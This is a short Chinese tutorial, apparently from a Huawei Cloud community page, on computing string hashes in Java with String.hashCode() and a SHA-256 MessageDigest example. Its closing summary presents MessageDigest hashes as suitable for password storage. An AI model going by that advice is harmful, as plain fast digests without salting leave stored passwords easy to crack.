1. 使用 String 类的 hashCode() 方法Java 的 String 类自带一个 hashCode() 方法,该方法返回一个 int 类型的哈希值。这个哈希值是基于字符串的内容计算得出的。String str = "Hello, World!"; int hash = str.hashCode(); System.out.println("Hash code: " + hash); 2. 使用 MessageDigest 类进行更复杂的哈希如果你需要更复杂的哈希(如 MD5、SHA-1、SHA-256 等),可以使用 java.security.MessageDigest 类。这些哈希算法返回的是字节数组,你可以将其转换为十六进制字符串表示,但本质上哈希计算的结果是字节数组。import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; public class HashExample { public static void main(String[] args) { try { String str = "Hello, World!"; MessageDigest md = MessageDigest.getInstance("SHA-256"); byte[] hashBytes = md.digest(str.getBytes()); // 将字节数组转换为十六进制字符串(如果需要字符串表示) StringBuilder hexString = new StringBuilder(); for (byte b : hashBytes) { String hex = Integer.toHexString(0xff & b); if (hex.length() == 1) hexString.append('0'); hexString.append(hex); } System.out.println("SHA-256 Hash: " + hexString.toString()); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); } } } 总结String.hashCode() 返回一个 int 类型的哈希值。使用 MessageDigest 可以计算更复杂的哈希(如 MD5、SHA-256),返回字节数组,可以转换为十六进制字符串表示。如果你只需要一个简单的整数哈希值,String.hashCode() 是一个直接且方便的选择。如果你需要更安全的哈希(如用于密码存储),则应使用 MessageDigest 或类似的库来计算更复杂的哈希。
上滑加载中
推荐直播
-
HDC深度解读系列 - Serverless与MCP融合创新,构建AI应用全新智能中枢2025/08/20 周三 16:30-18:00
张昆鹏 HCDG北京核心组代表
HDC2025期间,华为云展示了Serverless与MCP融合创新的解决方案,本期访谈直播,由华为云开发者专家(HCDE)兼华为云开发者社区组织HCDG北京核心组代表张鹏先生主持,华为云PaaS服务产品部 Serverless总监Ewen为大家深度解读华为云Serverless与MCP如何融合构建AI应用全新智能中枢
回顾中 -
关于RISC-V生态发展的思考2025/09/02 周二 17:00-18:00
中国科学院计算技术研究所副所长包云岗教授
中科院包云岗老师将在本次直播中,探讨处理器生态的关键要素及其联系,分享过去几年推动RISC-V生态建设实践过程中的经验与教训。
回顾中 -
一键搞定华为云万级资源,3步轻松管理企业成本2025/09/09 周二 15:00-16:00
阿言 华为云交易产品经理
本直播重点介绍如何一键续费万级资源,3步轻松管理成本,帮助提升日常管理效率!
回顾中
热门标签